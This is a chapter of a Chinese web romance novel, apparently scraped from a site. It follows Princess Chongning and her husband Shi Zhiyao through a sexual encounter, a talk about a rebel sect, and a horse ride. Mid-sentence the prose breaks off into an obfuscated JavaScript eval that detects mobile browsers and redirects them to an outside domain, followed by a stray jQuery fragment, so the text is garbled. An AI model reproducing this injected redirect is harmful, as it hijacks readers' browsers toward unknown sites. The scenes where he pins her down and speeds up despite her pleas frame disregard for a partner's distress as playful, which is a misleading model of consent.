崇宁从没这般无力过。
她七岁进宫受人挟制都能进退自如,长大嫁人却只能由着驸马进退自如。
崇宁羞得清泪直流,不哭还好,越哭他越起劲。
听着愈发魅惑的呢喃,史之尧轻笑:“舒服吗?”
混沌中崇宁想要捂嘴。小臂刚弯起弧度,忽被一只大手扼住,强行按到头顶。
崇宁别过头,咬着嘴唇不出声。
史之尧捏着她下巴,敷上双唇……
酒足饭饱思□□,人之本能也。史之尧久旷,哄着她玩了一个时辰。
这等事一结束,男女表现迥然不同。男人很快恢复如初,女人沉浸其中难以平静。
史之尧有条不紊整理衣衫,瞥一眼漏刻,扭头问崇宁:“还不起来?”
情来似水柔,情去如抽丝。崇宁瘫软在床,脸颊情.潮未褪,樱口娇娇喘息,一双水眸如雨后湖面澄澈透亮,长长的睫毛挂着晶莹泪珠。
她绵软道:“我哪有力气。”
手腕被他握出红印,一双腿颤得直哆嗦。她缓了好久,支起上身质问:“你竟敢白日宣淫。”
“你男人本就没规矩。”他居然大言不惭。
崇宁眼睛红红的,鼻尖红红的,这是她最脆弱的时候。史之尧越看越想笑,他越笑,崇宁就越恼火。
她一发火,史之尧态度软下来,勾勾她垂落的发丝:“好啦好啦,别气了。”
崇宁沉着脸不理他。
史之尧笑入眼底:“我看殿下脸色苍白,才想阴阳调和补补气血。臣错了,行不行?”
崇宁还不理他。
史之尧话锋一转:“殿下想怎么惩治臣,臣都认。只怕您话憋心里,不愿意说。”
崇宁道:“伺候晚饭。”
史之尧点头:“好。”
“伺候梳洗。”
“好。”
“明日陪我出去玩。”
“好。”
“这几日都不许碰我。”
“……好吧。”史之尧勉为其难答应。
崇宁嗔道:“愣着干什么,还不去打水。亲自去,不许叫丫鬟,让人知道了笑话。”
史之尧听话地出去,一眼撞见提着黄铜盆等在外面的采苓。
四目相对,一时无言。
她收拾饭桌时就意识到里间发生了啥,虽然声音动作极为克制,但摇床声过于明显。
史之尧若无其事地接过来水盆,让她去外间候着。
打湿巾帕,史之尧为她擦身。他难得温柔,崇宁红着脸听话照做。
帕子单薄,隔着布料都能感受到黏腻红肿。他力道很轻,对比自己擦的那次,崇宁觉得她上回是在自宫。
收拾妥当,崇宁再没了力气,混混睡了半个时辰,醒来后夕阳西下已近黄昏。
三个丫鬟围在床边,采苓凑过小脑袋,笑道:“殿下可算醒啦。驸马帮燕婉下厨呢,说是亲自伺候您用膳!”
崇宁微微惊讶。其实她说的那些除了最后一条,其他全是气话。
也罢,使唤使唤他挺好的。崇宁一点都不心疼,安安稳稳由他喂着喝了鱼汤,沐浴后懒洋洋躺床上。
谁知史之尧快速梳洗,又躺了上来。
崇宁:“怎么又来了?”她怕了他了,赶紧往里挪,同他拉开距离。
史之尧道:“这是我屋,我不住这儿能住哪儿?殿下若赶我出去,岂不受小姑耻笑?”
说得也是。崇宁心里哼了一声,没再轰他。反正他答应她了,这几天都碰的。那她还怕什么。
史之尧望着帐顶,问:“明天去哪儿玩。”
“不过随口说说。”
史之尧看向她:“跑马?钓鱼?划船?”
她就知道他要较真,只道:“我想荡秋千。”
“好啊,我想想秋千绑哪儿合适。”史之尧沉思自语,“对了就是那棵树,顺便还能……”
嘀咕的声音越来越小,崇宁感觉他神色兴奋。
想想也正常,他每天干着见血见肉的营生,为长安奔波劳累。一到休假自然要疯癫无状、忘乎所以地做自己。
想到他前些天所谋之事,崇宁忽而问:“芙蓉教的事摆平了?”
史之尧微愣,回道:“不过截了支小队,本想抓几个活口挖出点真东西,结果各个口中含毒死得够快。”
“皇兄怎么说。”
“让继续盯着。可惜没了线索,只好暂时作罢,想来短时间内他们不敢再犯。”他的语气可没有丝毫作罢的打算,“朝廷下令重整治安杀一儆百,西市坊正刚换了人。”
崇宁道:“我听张晓泉说,原来坊正是你的亲戚?”
史之尧“嗯”了一声。
“那你……”
她还没说完,就听他沉声道:“我管他是谁?反贼暗度西市已久,他知情不报玩忽职守,害得事越闹越大。要我说死有余辜。”
崇宁瞥见他眼中冷厉,心想哪怕枕边人作乱,他也定会照杀不误。
“殿下怎么突然问起这个?”
“我随便一问。”
“哦?”史之尧转过身,“我也有事想问殿下。”
崇宁:“你说。”
史之尧凑到她耳边:“午后舒服吗?”
崇宁脸一僵,哼一声转身背对他。
史之尧挑唇笑:“到底舒不舒服。”
他拉住她一缕发丝,刨根问底。
崇宁头埋进被窝。
史之尧笑出了声。
被窝里崇宁闷红了脸,暗自疑惑史之尧进步之快。
不同洞房时横冲.直撞,他这回确实掌握了要领,懂得以柔克刚张弛有度,害得她上边哼哼唧唧,下边噗噗啪啪。
他还好意思主动提,是想让她夸两句吗?
崇宁抓住薄被气呼呼滚到里侧,瓮声瓮气道:“才不要一个被窝,冻死你。”
郊外确实比城里凉爽,但不至于冻人。史之尧下午餍足,夜里睡得踏实。一早起床出门,崇宁醒来都没看见他。
崇宁梳洗更衣,正挑选衣裙:“怎么全是齐胸的?”还混着两件袒领裙子,领口又大又深。
“哼。”她重重扣上衣柜。
史之尧不知她磨蹭什么,独自在外等了足足一个时辰,才见她施施然出来。
崇宁道:“刚同小姑打招呼,她留我喝茶耽搁了。”
她穿着件杏黄色的交领齐腰罗裙,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831451|175586||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丫鬟们簇拥着撑伞走近。
这么清丽?他心道。
崇宁抬眸一看。史之尧头戴斗笠,轻衣箭袖,腰间佩着横刀,正倚着骏马环臂朝她笑。
史之尧道:“殿下像个未出嫁的小姑娘。”
崇宁咬唇:“要你管。”她朝采苓借了衣裙,才不穿他选的。
史之尧颇有心计被识破的遗憾,笑笑没再说话,上去牵她的手。
崇宁:“秋千呢。”
“绑着呢。”史之尧指指远处大树,张晓泉正在那边忙碌。
“先陪我跑一圈。”史之尧一手放她后腰,软嫩的腰肢还不及一握。他用力一提,将人抱到马上。
崇宁慌了一瞬,见他上马坐到身后,心又安定下来。
史之尧握住缰绳,朝丫鬟们道:“都回去等着,用不着你们伺候。”
蓁蓁等人看向崇宁,还没等她反应,史之尧扬鞭纵马,打劫似的带她走了。
初夏的山间清风微凉,吹得人心旷神怡。可崇宁头一次上马,从未感受过这等风驰之速,惊得心里乱跳。
史之尧凑到她耳边,轻声问:“舒服吗?”
语气暧昧,这是要打破砂锅问到底,崇宁扭头敲他胸口:“你讨厌!”
史之尧作无辜状:“我问的是骑马舒不舒服,殿下想什么呢?”
就会捉弄人!崇宁脸色羞恼,身子往前蹭了蹭,尽量离他远远的。
史之尧又恬不知耻地凑上来,环住她的纤腰,让人紧贴着他的胸膛。
崇宁闭着眼睛:“慢一点。”
“好啊。”史之尧轻笑,一扬鞭子,马奔得更快。
明知道她害怕,他还故意这样。铢锱必较,心胸狭窄!
疾风拍打着脸庞,吹乱了鬓发,崇宁拿他没办法,心快跳到嗓子眼了,只能糯糯服软:“求你慢一点。”
“殿下昨天怎么不求我慢一点?”
“坏蛋!”崇宁口不择言说了粗话。
史之尧怀抱美人驰骋于溪边草地,就是不肯放过她,速度越来越快。
疾风猎猎,衣衫凌乱,崇宁受不住了,转身埋进他的胸膛,抓着他的衣衫死不肯放。
史之尧很是受用,眼看快把人欺负哭了,逐渐放慢速度。
骏马小跑着悠悠到了溪边,崇宁还依偎在他身上,软绵绵像只离不开人的猫儿。
这是真吓着了。
“怎么了?”史之尧讨好着问,一手搂腰,一手摩挲着她的后背。
崇宁红着眼瞪他,哼唧道:“还有脸问,你要气死我。”
她喜怒不形于色,从不会泼妇似的逞争口舌之快,即便生气说的话依旧温声细语。可越是这样,越让史之尧得寸进尺!
刚刚那一遭,崇宁气得胸脯起伏,腰都软了。
“等会儿补偿你。”史之尧讨巧地笑,翻身下马再把人儿慢慢抱下来。
张晓泉办完事识趣地离开了。秋千绑在昨天那棵大树下。树干粗壮,树荫茂盛,还临近溪水。
崇宁整理衣裙,坐到秋千上握住牵绳,哼道:“秋千怎么不动?”
“遵命。”
史之尧跑到她身后,轻轻一推,佳人翩跹着身子离了地。